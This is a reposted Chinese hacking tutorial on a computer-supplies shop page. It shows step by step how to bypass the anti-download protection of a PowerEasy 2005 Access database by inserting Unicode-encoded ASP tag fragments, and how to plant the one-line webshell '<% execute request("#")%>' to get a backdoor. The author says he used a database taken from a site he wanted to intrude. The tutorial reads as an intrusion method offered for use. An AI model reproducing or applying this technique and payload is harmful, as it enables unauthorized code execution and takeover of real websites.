如何突破数据库防下载实例-宜昌电脑耗材网
最新商讯
·宜昌打印机清零 EPSON打印机清零 佳能打印机清零 收...
·华硕办公本a豆灵耀顽石飞行堡垒20191110报价
·打印机加粉的过程当中,应该要保证哪几个方面呢?
·西数 希捷 纽曼 东芝联想移动硬盘20191110报价
·宜昌激光电视安装技术,上门安装激光电视,网购激光电视安装
更多>> 
最近浏览过的商品
还没有浏览过的商品。
 如何突破数据库防下载实例
用于测试的环境:
动易2005免费版下载地址:http://down.chinaz.com/s/14661.asp 此版本相对于以前的版本几乎都补了漏洞了,什么上传漏洞,在顶部菜单里写一句话,都不行了,今天也不讨论是否还存在其它的漏洞,只是讨论一下如何备份数据库来拿shell。
先来说一下动易对数据库的处理:
动易在数据库里增加了一个表:PE-NotDown
在这个表里写入了十六进制数据:3C25206C6F6F70203C25
有人会不明白这个数据到底是什么东西啊,看也看不懂,其实这一串数据是”<% loop <%”的十六进制形式。虽然在数据表中是以十六进制的形式存在,但如果将mdb的数据库以asp的形式来解析的话,那就会以字符形式显示。略懂一点asp语法的人都知道"<% loop <%"是无法闭合的,而且loop也没有任何的do或是exit do来与之配对。我也曾试过很多次,都没有将其闭合。那么到底要怎么样才能将其闭合呢,其实说出来大家一定也觉得这不是很简单的吗,呵呵。比如下面一段代码:
<% loop <%
将其保存为一个asp文件解析时会提示,没有闭合,少了(% >),如下图:


如果我们在后面加上一个"%>",还是会出错,那么到底要怎么样才能记将这段代码的功能去掉呢,大家再看下面一段代码:
以下是代码片段:
<%'<% loop <%:%>

这段代码在IIS里运行是没有任何错误的,根据这段代码的原理,于是我们便有了突破的可能性,只要我们在数据库里的两个地方合适地插入"<%'"和":%>"( 在数据库中有时不要冒号也可以)即可将loop的防下载给过滤掉,相信大家看到这里也应该明白是怎么回事了。
上面讲的都是原理,我在本地对动易2005的数据库进行了测试,我们来看一下测试结果.(本次测试没有任何针对性,只作研究之用,对此方法的公布,本人不负任何责任) 首先安装动易,这个版本的动易基本上修补了一些漏洞,现在不谈是否有其它漏洞,只谈对数据库进行突破。我测试用到的数据库是从一个网站上下下来的数据库,因为一直想入侵这个网站,只拿到了数据库,所以在研究过程中研究的就是这个数据库,文章中所测试也也是这个数据库。下下来之后先将数据库进行备份,以后测试都用它的一个副本进行测试,因为在改动access的数据时是有些东西要注意的(后面会提到)。我们先将动易的数据的后缀名改成asa的,然后在iis里打开,打开结果跟上一幅图是一样的,也是出现少"% >"的错误,这便是动易的防下载处理。然后我们用UltraEdit打开动易的数据库,选择十六进制编辑,然后搜索"<%"我们可以定位到如下的地方:


我们可以看到显绿的一栏里可以看到"<% loop <%"这样的语句,证实了我们前面的说法,我们继续搜索后发现只在loop的前后共有两个"<%",也就是是无法闭合的一条语句。那么我们要如何突破呢?前面也讲到了,在asp的语法里,单引号起注释的功能,我们是不是可以在它的前面加上注释的语句呢,再在另一个地方再插入闭合语句那不是可以进行突破了?打开数据库的表设计,我们先找一个地方来将它进行毕合,我们看到表PE-NotDown前后的表结构如下:


在这里,是不是可以在PE_NotDown的前面的一个表里加入代码将其后面的asp代码注释掉?进行测试吧,我选了PE_NewKeys,打开后在里面插入了一行代码,这里我用到了lake2的一个ascii2unicode的工具将代码"<%'x"(为什么后面有个x,其实用其它的字符也可以,只要转换的结果不出现问号即可)转换成"┼砧"(这样转换首先是在后台进行修改变得可行的,因为没有什么特殊字符,而且转换后的数据库改名为asa进行解析时能返回成原来的字符,如果需要知道具体情况,请去lake2的博客看),然后插入进去,如图:

保存后我们再将数据改为asa的后缀后打开,错误如第一幅图,少关闭符"% >",我们再用UltraEdit打开,搜索"<%",搜到的第一个是与第二幅图是一样的,在第458行那里找以了loop语句,继续向下搜两次,我们在19118行那里搜到了我们刚刚插入的数据库,如下图:


我们来分析一下:"<% loop <%"是PE_NotDown里的数据,而"┼砧"是PE_NewKeys里的信息,虽然在表结构里PE_NewKeys排在PE_NotDown的前面,但能过asa解析后"<% loop <%"却在前面显示,因此access的数据改成asa的解析后其数据的出现顺序是发生了变化了的。那么我们要怎么样才能让其显示在前面呢,由于不知道其具体的结构顺序,我选择了穷举法。从第一个表开始,向每个字段里插入"┼砧",然后通过UltraEdit查看,看哪个会出现在前面,每次插入数据前都是用的原始动易数据库的一个副本,因为在access里,你将某条记录删除,虽然在表结构里看不到了,但其还是存在于数据库里,用UltraEdit还是能看到,只有对数据库进行压缩后那些删除的记录才会真正的删掉(这里说的压缩并不是用winrar压缩的那一种,而且access的压缩功能)。每次插完数据后再用UltraEdit搜索字符"<%",便于更好的搜索定位. 在一次一次的测试中,当试到PE_channel这个表时,问题出现转机。我们来看一下,打开数据表,定位到PE_channel这个表,在字段ChannelName里在"研究院
新闻"的后面加入"┼砧",如图:

保存后再用UltraEdit打开数据,用十六进制进行编辑,搜索"<%",我们搜到的第一个结果如下图:


此时第一个出现的"<%"就不是原来的与loop相连的那个了,也就是说我们现在在loop前面就插入了一个asp标记符"<%",此时我们还得在loop后面的某一处地方再插入"%>"才能让其闭合,同样我采用穷举法测试后找到了另一个插入点。我们在最后一个标题后面加个"┠砾"(这是由" %>x"转换过来),如下图:


保存后再用UltraEdit查看,搜索"%>x",在第7546行那里找到了我们刚刚插入的信息,如下图:


我们现在来总结一下:
一共插入了两次数据:
第一次在插入的数据"┼砧"在第189行被解析成asp语句"<%'x"
第二次插入的数据"┠砾"在第7546行被解析成asp语句"%>x"
而动易原来防下载的语句"<% loop <%"是出现在第458行,正好处于两次插入的数据中间.此时我们将数据改名*.asa后在iis里解析,结果如下图:

此时有一部分数据被解析出来了,那么我们的突破就达到了效果,于是我们想到将第一次插入的数据后面再加上"execute request("#")"不是可以拿到一个后门了?于是我将字符串“<% execute request("#")%>a<%'x”转换成Unicode字符“┼攠數畣整爠煥敵瑳∨∣┩愾┼砧”后插入到第一次插入数据的地方,如图:


再用UltraEdit查看插入的结果搜索到我们插入的数据如下图:


我们发现刚插入的数据出现在了第7405行,与第一次插的第189行,相差甚远,而且由于没有把loop语句包进去,数据库也无法解析了。于是我们只好退回到上一步,再找其它的地方下手。后来找了很久也没有找到,于是又回去研究能在IIS里显示的信息,我们看到如下图:


大家看到这里有很多的“jpg|jpeg”等什么的,我们可以想到这里是保存上传类型数据的地方,我们可不可以将一句话马插到这里让它被解析呢。好了我也不再费话了,还是重新复制一个原始数据的复本,先按原来的步骤在ChannelNamer第一个标题和最后一个标题后面插入相关数据(照前面的方法进行),然后我将一句话马“<% execute request("#")%>a”转成Unicode字符“┼攠數畣整爠煥敵瑳∨∣┩愾”后插入到以下地方,如下图:


用UltraEdit打开后在第196行搜索到“execute”,如下图:


在第189行搜索到“<%' x”
在第483行搜索到loop
在第7403行搜到了我们的asp闭合语句
我已按先后顺序将其用图示标出,一句话后门在最前面,应能执行了。我们在iis里找开后得到结果如(打开时间有点长,根据数据库的大小):
我们的一句话马成功执行,这样就突破了数据库的防下载功能,并能通过数据备份来获得后门。
后记:写完这篇文章之后,我用了其它动易2005的数据库进行了测试,按同样的方法进行插入,但没有得到想要的结果,看来这种方法是具体数据库要具体分析的,不同的数据库插入数据的地方是不同的,即使是同一数据库,只要数据发生变化了,插入的地方也可能是不同的,大家如果实验的话就得先按上面的方法进行插入和定位才行,切记在
入侵
中不可照搬,最好先将网站数据备份,如果不行还可以还原回来。有些要注意的地方,如果数据过大,用IIS打开时IIS可能会挂掉,机子性能要好。
不好意思,我一天只能传10个附件,部分图片传不了了,只能用我博客的图片了。见谅!
发布日期:2019/11/24
  宜昌打印机维修 复印机 一体机上门维修热线:13677173728 邢师傅 0717-6736581
 
购物指南
选择配送方式
付款收货
挑选商品
送货说明
购物流程
订购方式
注意事项
支付方式
货到付款区域
支付方式说明
货到付款
扫码支付
服务政策
售后服务
退换货原则
其他服务协议
服务中心
关于我们
关于我们

宜昌电脑耗材网  版权所有 Copyright©2014-2020  Www.Ycoaw.Com ALL Rights Resrved ;商务QQ:7533615
产品信息 - 资料 - 上传 - 新品牌报价 - 行业新闻投信箱sysharp@126.com  0717-6736581 
宜昌市福瑞电脑科技有限公司   鄂ICP备18013266号  鄂公网安备:42050202000383号
文章版权归原作者所有如有侵权请立即与我们联系,我们将及时处理

客服中心
扫描上面二维码即可
访问手机版购物商城
耗材:0717-6736581
维修:13677173728

展开客服
友情链接平台 网站地图 ALEXA